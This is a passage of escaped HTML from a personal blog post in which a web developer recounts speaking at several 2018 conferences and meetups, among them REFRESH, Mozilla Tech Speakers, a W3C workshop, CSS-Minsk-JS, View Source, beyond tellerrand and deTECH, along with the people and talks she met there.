    &lt;figcaption&gt;Guess who I was glancing at throughout the talk? Okay, it was &lt;a href=&quot;https://twitter.com/jawache/status/1038021644571291648&quot;&gt;Asim&lt;/a&gt;&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/refresh.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/refresh.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Somehow, at the halfway mark, people started streaming in, so I don&apos;t know what happened, maybe people just needed more time for lunch or something. Or they were actually here for the next guy. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt; But I did wrap up to near full-house, so I guess that&apos;s not too bad.&lt;/p&gt;
&lt;p&gt;The individual conversations I had with audience members who came up to me afterwards though, were &lt;strong&gt;golden&lt;/strong&gt;. I mean, I got really kind feedback, in terms of my talk delivery (which made me feel much better about myself &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt;), but also ideas and discussion around internationalisation and translating content across languages and cultures.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Much appreciation for the research and the time invested by &lt;a href=&quot;https://twitter.com/hj_chen?ref_src=twsrc%5Etfw&quot;&gt;@hj_chen&lt;/a&gt; to adapt her typography talk to each new audience 👏 &lt;a href=&quot;https://twitter.com/REFRESHRocks?ref_src=twsrc%5Etfw&quot;&gt;@REFRESHRocks&lt;/a&gt; &lt;a href=&quot;https://t.co/6Fjo7KPQcA&quot;&gt;pic.twitter.com/6Fjo7KPQcA&lt;/a&gt;&lt;/p&gt;&amp;mdash; Laura Carvajal (@lc512k) &lt;a href=&quot;https://twitter.com/lc512k/status/1038016166063742976?ref_src=twsrc%5Etfw&quot;&gt;7 September 2018&lt;/a&gt;&lt;/blockquote&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Laura gave a great talk on accessibility&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/refresh-480.jpg 480w, /images/posts/talking-css-2018/refresh-640.jpg 640w, /images/posts/talking-css-2018/refresh-960.jpg 960w, /images/posts/talking-css-2018/refresh-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/refresh-640.jpg&quot; alt=&quot;Laura on stage talking about accessibility&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/Kayzah&quot;&gt;Kay Drechsler&lt;/a&gt; shared a bug his team was facing with regards to &lt;code&gt;::first-letter&lt;/code&gt;, Flexbox and &lt;code&gt;text-transform&lt;/code&gt; for Arabic, where the ligatures were being messed up. I&apos;m still trying to figure it out by building a reduced test case, write-up coming soon.&lt;/p&gt;
&lt;p&gt;Point is, I learned so much from this experience, and I&apos;m very grateful to &lt;a href=&quot;https://twitter.com/janikaliiv&quot;&gt;Janika&lt;/a&gt; and her team for having me, and holding such a great conference.&lt;/p&gt;
&lt;p&gt;On an unrelated note, this is the third time I&apos;ve been at a conference that coincided with a major sporting event. This time it was the &lt;a href=&quot;http://www.jooks.ee/en/tallinn-marathon/&quot;&gt;Tallinn Marathon&lt;/a&gt;. I wonder what will be next…&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/uHEsO_LCA6s&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;France&quot;&gt;🇫🇷&lt;/span&gt; @ Tech Speakers Meetup&lt;/h2&gt;
&lt;p&gt;Tech Speakers is an initiative by Mozilla that supports technical evangelists in regional communities around the world by providing resources and funding. I officially joined them in April this year, and this was my first Tech Speakers meetup.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2018/techspeakers.png&quot; srcset=&quot;/images/posts/talking-css-2018/techspeakers@2x.png 2x&quot; alt=&quot;Mozilla TechSpeakers&quot;&gt;
&lt;p&gt;The event was held at MozSpace Paris, currently in a gorgeous building that used to be the embassy of Austria. It happened to be European Heritage weekend, so the building was open to the public, and it was quite amusing to see curious people peer into the room while talks were going on.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2018/ts1-480.jpg 480w, /images/posts/talking-css-2018/ts1-640.jpg 640w, /images/posts/talking-css-2018/ts1-960.jpg 960w, /images/posts/talking-css-2018/ts1-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/ts1-640.jpg&quot; alt=&quot;Mozilla Paris Office&quot;&gt;
&lt;p&gt;It was a weekend of 7-minute talks by every participant, as well as workshops on Rust, WebAssembly, Firefox Go and Project Things. Mozilla had invited 4 coaches to provide feedback on each participant&apos;s talk.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2018/ts2-480.jpg 480w, /images/posts/talking-css-2018/ts2-640.jpg 640w, /images/posts/talking-css-2018/ts2-960.jpg 960w, /images/posts/talking-css-2018/ts2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/ts2-640.jpg&quot; alt=&quot;My 7-minute run at the podium&quot;&gt;
&lt;p&gt;The Rust and WebAssembly workshops were run by &lt;a href=&quot;https://dancallahan.info/&quot;&gt;Dan Callahan&lt;/a&gt;, and he did a wonderful job of explaining things, the design rationale behind both projects and the use-cases they are targeting. I came away with a much better understanding of both, and now I&apos;m compelled to learn Rust.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;The TechSpeakers family&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/ts3-480.jpg 480w, /images/posts/talking-css-2018/ts3-640.jpg 640w, /images/posts/talking-css-2018/ts3-960.jpg 960w, /images/posts/talking-css-2018/ts3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/ts3-640.jpg&quot; alt=&quot;TechSpeakers in Paris&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Because of the slew of events I had lined up, I was only in Paris for 3 days. I did manage to visit the Lourve though, and checked off “see the Mona Lisa”. However, it was the painting hanging on the opposite wall that really blew my mind &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;exploding head&quot;&gt;🤯&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.louvre.fr/en/oeuvre-notices/wedding-feast-cana&quot;&gt;The Wedding Feast at Cana&lt;/a&gt; by Paolo Veronese. It&apos;s almost 10 metres across and nearly 7 metres tall, with so much detail that you could probably write a screenplay around the characters in the painting.&lt;/p&gt;
&lt;p&gt;The Lourve also has a nice collection of ancient Greek inscriptions plus an amazing collection of Islamic Art. I spent a lot of time in that exhibition, learning about Arabic calligraphy, book making, culture and history.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2018/ts4-480.jpg 480w, /images/posts/talking-css-2018/ts4-640.jpg 640w, /images/posts/talking-css-2018/ts4-960.jpg 960w, /images/posts/talking-css-2018/ts4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/ts4-640.jpg&quot; alt=&quot;Typography at the Lourve&quot;&gt;
&lt;p&gt;Overall, a great weekend, if I don&apos;t say so myself.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/4nthGV7lIpM&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Japan&quot;&gt;🇯🇵&lt;/span&gt; @ W3C Workshop on Digital Publication Layout and Presentation&lt;/h2&gt;
&lt;p&gt;My very first W3C event! It took 3 plane rides and 2 transits to get to Tokyo but I made it. I&apos;m immensely grateful to &lt;a href=&quot;https://florian.rivoal.net/&quot;&gt;Florian Rivoal&lt;/a&gt; for inviting me to present at this workshop.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Reception for all participants&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/talking-css-2018/w3c.jpg&quot; srcset=&quot;/images/posts/talking-css-2018/w3c@2x.jpg 2x&quot; alt=&quot;W3C&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The goal of this workshop was to bring together people from the web world and people from the digital publishing world to evaluate the current status and explore future directions of visually-rich long-form digital publications.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2018/w3c3.jpg&quot; srcset=&quot;/images/posts/talking-css-2018/w3c3@2x.jpg 2x&quot; alt=&quot;My presentation on Rich Dynamic Design with modern CSS&quot;&gt;
&lt;p&gt;It was very eye-opening to hear the perspectives from the digital publishing world, as well as learn more about the challenges and potential advancements in the area of digital comics and manga.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://rachelnabors.com/&quot;&gt;Rachel Nabors&lt;/a&gt; gave an engaging presentation on interactive comics that showcased the potential of where digital comics could continue to develop. &lt;a href=&quot;http://www.defendini.com/&quot;&gt;Pablo Defendini&lt;/a&gt; presentation was also a highlight for me and I&apos;m trying to recreate his working prototype for &lt;a href=&quot;http://toy-planes.com/index.html&quot;&gt;Toy Planes&lt;/a&gt; in CSS grid, stay tuned.&lt;/p&gt;
&lt;p&gt;One of my favourite talks was by &lt;a href=&quot;http://fantasai.inkedblade.net/&quot;&gt;Elika Etemad&lt;/a&gt; (AKA fantasai) on the design principles behind CSS. If I had my way, I&apos;d make every single web developer on the planet watch it. Most of us talk about designing &lt;strong&gt;with&lt;/strong&gt; CSS but she is one of the few people on the planet who is qualified to talk about designing &lt;strong&gt;for&lt;/strong&gt; CSS.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;The talk every web developer needs to see IMHO&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/w3c2-480.jpg 480w, /images/posts/talking-css-2018/w3c2-640.jpg 640w, /images/posts/talking-css-2018/w3c2-960.jpg 960w, /images/posts/talking-css-2018/w3c2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/w3c2-640.jpg&quot; alt=&quot;Elika&apos;s presentation on designing CSS&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I also got to meet my fellow &lt;a href=&quot;https://www.w3.org/TR/clreq/&quot;&gt;CLReq&lt;/a&gt; team members, &lt;a href=&quot;https://medium.com/@bobtung&quot;&gt;Bobby Tung&lt;/a&gt; and &lt;a href=&quot;https://thetype.com/author/ericliu/&quot;&gt;Eric Liu&lt;/a&gt; in person for the first time.&lt;/p&gt;
&lt;p&gt;Although this was a fairly short trip of 3 days, it was extremely fruitful. I learned a tonne from the presentations as well as the conversations I had with numerous experts with decades of experience in their respective fields.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Belarus&quot;&gt;🇧🇾&lt;/span&gt; @ CSS-Minsk-JS 2018&lt;/h2&gt;
&lt;p&gt;Next stop in my crazy September was Minsk. I first knew of the Minsk frontend community when I met &lt;a href=&quot;http://ash-web.by/&quot;&gt;Sasha Shinkevich&lt;/a&gt; at &lt;a href=&quot;https://pitercss.com/&quot;&gt;piterCSS&lt;/a&gt; last year. And I was extremely excited when I got invited to speak at CSS-Minsk-JS because, let&apos;s be honest, opportunities for me to meet my friends from the Russian-speaking web community are few and far between.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;City CSS organisers!&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/cmj-480.jpg 480w, /images/posts/talking-css-2018/cmj-640.jpg 640w, /images/posts/talking-css-2018/cmj-960.jpg 960w, /images/posts/talking-css-2018/cmj-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cmj-640.jpg&quot; alt=&quot;Sasha and I on the CSS-Minsk-JS stage&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Turns out I was on the same plane as &lt;a href=&quot;https://ashi.io/&quot;&gt;Ashi Krishnan&lt;/a&gt;, who delivered a brilliant talk on doing machine learning with JavaScript. But the highlight for me was how we inadvertently became the unofficial Minsk web typography conference as &lt;a href=&quot;https://mntr.dk/&quot;&gt;Peter Müller&lt;/a&gt;, myself and &lt;a href=&quot;https://www.bramstein.com/&quot;&gt;Bram Stein&lt;/a&gt; presented 3 font/typography talks in a row.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2018/cmj3-480.jpg 480w, /images/posts/talking-css-2018/cmj3-640.jpg 640w, /images/posts/talking-css-2018/cmj3-960.jpg 960w, /images/posts/talking-css-2018/cmj3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cmj3-640.jpg&quot; alt=&quot;On the CSS-Minsk-JS stage&quot;&gt;
&lt;p&gt;Was also reunited with &lt;a href=&quot;https://twitter.com/tanay1337&quot;&gt;Tanay Pant&lt;/a&gt;, whom I met for the first time in Paris just a few days prior. His talk on mixed reality was great, with live demos on stage. Pokémon were involved.&lt;/p&gt;
&lt;p&gt;I got the chance to record a podcast episode with &lt;a href=&quot;https://twitter.com/pepelsbey_&quot;&gt;Vadim Makeev&lt;/a&gt;, who does so many amazing things in the Russian web community. We chatted about Internationalisation, typography and web stuff in general.&lt;/p&gt;
&lt;p&gt;Vadim was one of the first conference organisers who gave me the opportunity to stand on a stage and talk about CSS (and typography). I now have friends in the Russian-speaking web community because of him, and I can&apos;t thank him enough for that.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Fun times at the after-party&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/cmj2-480.jpg 480w, /images/posts/talking-css-2018/cmj2-640.jpg 640w, /images/posts/talking-css-2018/cmj2-960.jpg 960w, /images/posts/talking-css-2018/cmj2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/cmj2-640.jpg&quot; alt=&quot;Bar-hopping in Minsk&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;After-party was great fun, as we went bar-hopping in the Minsk city centre. Unfortunately, I ducked out an hour early because I had to head off to the airport the next morning. But I got a few beers and shots in before saying my goodbyes. Sorrel shots are very delicious.&lt;/p&gt;
&lt;p&gt;I also learned that there is a Russian term for CSS developer, &lt;span style=&quot;font-family:Georgia&quot;&gt;верстальщик&lt;/span&gt;, thanks to &lt;a href=&quot;https://www.facebook.com/lucyhackwrench&quot;&gt;Liudmila Mzhachikh&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/ai_boy&quot;&gt;Alexey Okhrimenko&lt;/a&gt;. The two of them hosted both days without a dip in enthusiasm.&lt;/p&gt;
&lt;p&gt;Clearly, I did not spend enough time in Minsk, and this is a city I definitely want to come to given the chance.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;United Kingdom&quot;&gt;🇬🇧&lt;/span&gt; @ View Source 2018&lt;/h2&gt;
&lt;p&gt;Oh, this was such a good event. View Source was part of a week-long series of festivities by Mozilla, cumulating with the &lt;a href=&quot;https://mozillafestival.org/&quot;&gt;Mozilla Festival&lt;/a&gt; AKA MozFest over the weekend. The speaker line-up was really diverse, and I was really happy just to meet these awesome humans in person.&lt;/p&gt;
&lt;p&gt;Also managed to snag a ticket to attend the London edition of &lt;a href=&quot;https://hashtagcauseascene.com/conference/blog/event/london-2018/&quot;&gt;#causeascene Conference&lt;/a&gt;, which is one of the most though-provoking conferences one will ever attend. Videos from the conference are available online.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Can&apos;t even remember why this face&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/viewsource2-480.jpg 480w, /images/posts/talking-css-2018/viewsource2-640.jpg 640w, /images/posts/talking-css-2018/viewsource2-960.jpg 960w, /images/posts/talking-css-2018/viewsource2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/viewsource2-640.jpg&quot; alt=&quot;My face of dubiosity&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I had the chance to meet up with &lt;a href=&quot;https://twitter.com/saronyitbarek&quot;&gt;Saron Yitbarek&lt;/a&gt; in San Diego earlier this year, but watching her live was such a treat. You know who else I got to see live? &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;starry eyes&quot;&gt;🤩&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The talk I gave was a revision of the one I gave on the Developer Roadshow, but more than half the slides were completely different. The theme was still the same though, and I couldn&apos;t beat the previous title, so…&lt;/p&gt;
&lt;p&gt;But MozFest was something else. Taking place at Ravensbourne University, first of all, the school is called RAVENSBOURNE &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;astonished face&quot;&gt;😲&lt;/span&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;MozFest shenanigans!&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/viewsource-480.jpg 480w, /images/posts/talking-css-2018/viewsource-640.jpg 640w, /images/posts/talking-css-2018/viewsource-960.jpg 960w, /images/posts/talking-css-2018/viewsource-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/viewsource-640.jpg&quot; alt=&quot;At MozFest&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Anyway, it was nine floors of bustle and a million things going on at the same time. The most memorable session was the panel on Data in Oppressive Regimes, with &lt;a href=&quot;https://twitter.com/ealshafei&quot;&gt;Esra’a Al-Shafei&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/maasalan&quot;&gt;Mahsa Alimardani&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here are all the &lt;a href=&quot;https://www.flickr.com/photos/paul_clarke/sets/72157702834970015/&quot;&gt;photos from View Source 2018&lt;/a&gt;.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/ERIYWnPyeWw&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Germany&quot;&gt;🇩🇪&lt;/span&gt; @ beyond tellerrand 2018&lt;/h2&gt;
&lt;p&gt;Had to bounce back to Singapore for &lt;a href=&quot;http://www.devrelsummit.com/&quot;&gt;DevRel Summit&lt;/a&gt; (which was an amazing event IMHO) before coming back to Europe. I had met &lt;a href=&quot;https://marcthiele.com/&quot;&gt;Marc Thiele&lt;/a&gt; for the first time at &lt;a href=&quot;https://smashingconf.com/sf-2018/&quot;&gt;SmashingConf San Francisco&lt;/a&gt; earlier this year and when he invited me to speak at &lt;a href=&quot;https://beyondtellerrand.com/events/berlin-2018&quot;&gt;beyond tellerrand&lt;/a&gt;, I was beyond ecstatic.&lt;/p&gt;
&lt;p&gt;As Marc explained to me, tellerrand means the edge of a plate, and beyond tellerrand is a conference that wants to move outside the edge, thinking outside the box if you may. It shows in the speaker line-up, with talks ranging from machine learning, to branding and lots of interesting topics in between.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Flailing hand syndrome manifests&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/btconf-480.jpg 480w, /images/posts/talking-css-2018/btconf-640.jpg 640w, /images/posts/talking-css-2018/btconf-960.jpg 960w, /images/posts/talking-css-2018/btconf-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/btconf-640.jpg&quot; alt=&quot;On stage at beyond tellerrand&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Oh the people I got to meet in person! First of all, I&apos;m not ashamed to admit I&apos;m a huge fan of &lt;a href=&quot;http://www.debbiemillman.com/&quot;&gt;Debbie Millman&lt;/a&gt;, and honestly, it felt like we moved in such different circles I&apos;d never meet her in person. You know, like how I&apos;d never meet Beyoncé in person? And then, I saw her in the speaker line-up and just died.&lt;/p&gt;
&lt;p&gt;Also got to meet another typography friend, the one and only, &lt;a href=&quot;https://djr.com/&quot;&gt;David Jonathan Ross&lt;/a&gt; AKA DJR. My new goal is to meet and take photos with as many of my online typography friends as I can. It&apos;s like Pokémon GO, but better. I missed taking one with &lt;a href=&quot;https://www.zeichenschatz.net/&quot;&gt;Oliver Schöndorfer&lt;/a&gt; though, but &lt;a href=&quot;https://vimeo.com/299234717&quot;&gt;his talk on variable fonts&lt;/a&gt; was fantastic.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Both of us can&apos;t take selfies to save our lives&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/btconf3-480.jpg 480w, /images/posts/talking-css-2018/btconf3-640.jpg 640w, /images/posts/talking-css-2018/btconf3-960.jpg 960w, /images/posts/talking-css-2018/btconf3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/btconf3-640.jpg&quot; alt=&quot;Myself with David Jonathan Ross&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;And I finally got to meet &lt;a href=&quot;https://www.sonniesedge.co.uk/&quot;&gt;Charlie Owen&lt;/a&gt; *&lt;em&gt;runs around with flailing hands&lt;/em&gt;* Unfortunately, we only managed a short chat, and my star-struck brain did not think to ask for a photo together. But the next time I find myself in Berlin, you know who I&apos;ll be looking up.&lt;/p&gt;
&lt;p&gt;I&apos;m probably just listing all the people on the speaker list, but how can you blame me? Have you seen the full line-up? The only thing is there wasn&apos;t enough time to get to know them all. At least I managed to have lunch with &lt;a href=&quot;https://tink.uk/&quot;&gt;Léonie Watson&lt;/a&gt;. Can&apos;t win them all.&lt;/p&gt;
&lt;p&gt;The conference itself was amazing. The atmosphere was electric. Tobi Lessnow brought so much energy to the stage. And every single talk was simply aces. &lt;a href=&quot;https://twitter.com/bigmediumjosh&quot;&gt;Josh Clark&lt;/a&gt; opened with an insightful, thought-provoking &lt;a href=&quot;https://vimeo.com/album/5536518/video/299211657&quot;&gt;talk on machine learning&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;I am now a fangirl of Gemma O&apos;Brien as well&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/btconf2-480.jpg 480w, /images/posts/talking-css-2018/btconf2-640.jpg 640w, /images/posts/talking-css-2018/btconf2-960.jpg 960w, /images/posts/talking-css-2018/btconf2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/btconf2-640.jpg&quot; alt=&quot;Gemma O&apos;Brien live lettering on stage&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I adored &lt;a href=&quot;http://cecile-dormeau.tumblr.com/&quot;&gt;Cécile Dormeau&lt;/a&gt;&apos;s illustrations and her inspirational, uplifting talk as well. &lt;a href=&quot;http://www.gemmaobrien.com/&quot;&gt;Gemma O&apos;Brien&lt;/a&gt; did live lettering, which thrilled me to no end. &lt;a href=&quot;https://www.wblut.com/&quot;&gt;Frederik Vanhoutte&lt;/a&gt; gave the most beautiful talk about creativity. &lt;a href=&quot;https://aresluna.org/&quot;&gt;Marcin Wichary&lt;/a&gt; did a fascinating one on keyboards, and &lt;a href=&quot;http://jennyshen.com/&quot;&gt;Jenny Shen&lt;/a&gt; closed off the conference with a great one on cross-culture design.&lt;/p&gt;
&lt;p&gt;If it weren&apos;t for beyond tellerrand, I would never have been able to meet all these people who are beyond my regular circle of developers, and I&apos;m immensely grateful for the chance to speak in front of almost 500 people. 500 people in a CSS talk. About boxes. Imagine that.&lt;/p&gt;
&lt;p&gt;Some &lt;a href=&quot;https://www.flickr.com/photos/73inches/sets/72157675360288668&quot;&gt;photos&lt;/a&gt; from the event.&lt;/p&gt;
&lt;iframe src=&quot;https://player.vimeo.com/video/299215505&quot; width=&quot;640&quot; height=&quot;360&quot; frameborder=&quot;0&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; @ deTECH Conference 2018&lt;/h2&gt;
&lt;p&gt;My last event of the year was deTECH Conference in my hometown of Penang. This was an inaugural conference organised by local community leaders to expose the local tech community to new technologies and emerging indsutry trends. It may not have been a typical developer conference that I usually turn up to, but I feel heartened that we are starting up more tech conferences locally.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Lots of gesturing, as usual&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/detech3-480.jpg 480w, /images/posts/talking-css-2018/detech3-640.jpg 640w, /images/posts/talking-css-2018/detech3-1080.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/detech3-640.jpg&quot; alt=&quot;CSS workshop at deTECH conference&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I ran a CSS layouts workshop on the first afternoon, and because most of the audience were beginner web developers, it was much different delivery from the workshop I gave just a few weeks prior at &lt;a href=&quot;#--beyond-tellerrand-2018&quot;&gt;beyond tellerrand&lt;/a&gt;. This was the third workshop I ran this year, and now that I&apos;ve finally ported my code examples to Codepen, I think I&apos;m going to continue using Codepen for this purpose moving forward.&lt;/p&gt;
&lt;p&gt;Although, I realised that Codepen doesn&apos;t really support Internet Explorer and it would be nice if my content around Feature Queries was displayed in IE. Let me consider additional options. Anyway, even though the talks covered a variety of topics, they were all given in the context of Southeast Asia, which I loved so much.&lt;/p&gt;
&lt;p&gt;I admit I&apos;m rather partial toward my region of Southeast Asia, and I&apos;m very open about this. Because I strongly believe that we have the potential to do as well, if not better, than our Western counterparts. I have &lt;a href=&quot;/blog/musings-on-speaking-at-conferences/&quot;&gt;opinions about this&lt;/a&gt;. But I won&apos;t go into detail here.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Drone technology for agriculture&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/detech2-480.jpg 480w, /images/posts/talking-css-2018/detech2-640.jpg 640w, /images/posts/talking-css-2018/detech2-960.jpg 960w, /images/posts/talking-css-2018/detech2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/detech2-640.jpg&quot; alt=&quot;Yong Guan introducing Poladrone&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;My one of my favourite talks was &lt;em&gt;Big Data in Agriculture&lt;/em&gt; by How Yong Guan from local drone start-up, &lt;a href=&quot;https://www.poladrone.com/&quot;&gt;Poladrone&lt;/a&gt;. The founder &lt;a href=&quot;https://www.techinasia.com/poladrone-profile&quot;&gt;had grew up around plantations&lt;/a&gt; and decided to create a solution that would solve pain points faced by plantation owners and their workers. Context is everything.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Reasons why Bus Uncle is such a loved chatbot&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/detech-480.jpg 480w, /images/posts/talking-css-2018/detech-640.jpg 640w, /images/posts/talking-css-2018/detech-960.jpg 960w, /images/posts/talking-css-2018/detech-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/detech-640.jpg&quot; alt=&quot;Abhilash on what makes a good conversational UI&quot;&gt;
&lt;/figure&gt;
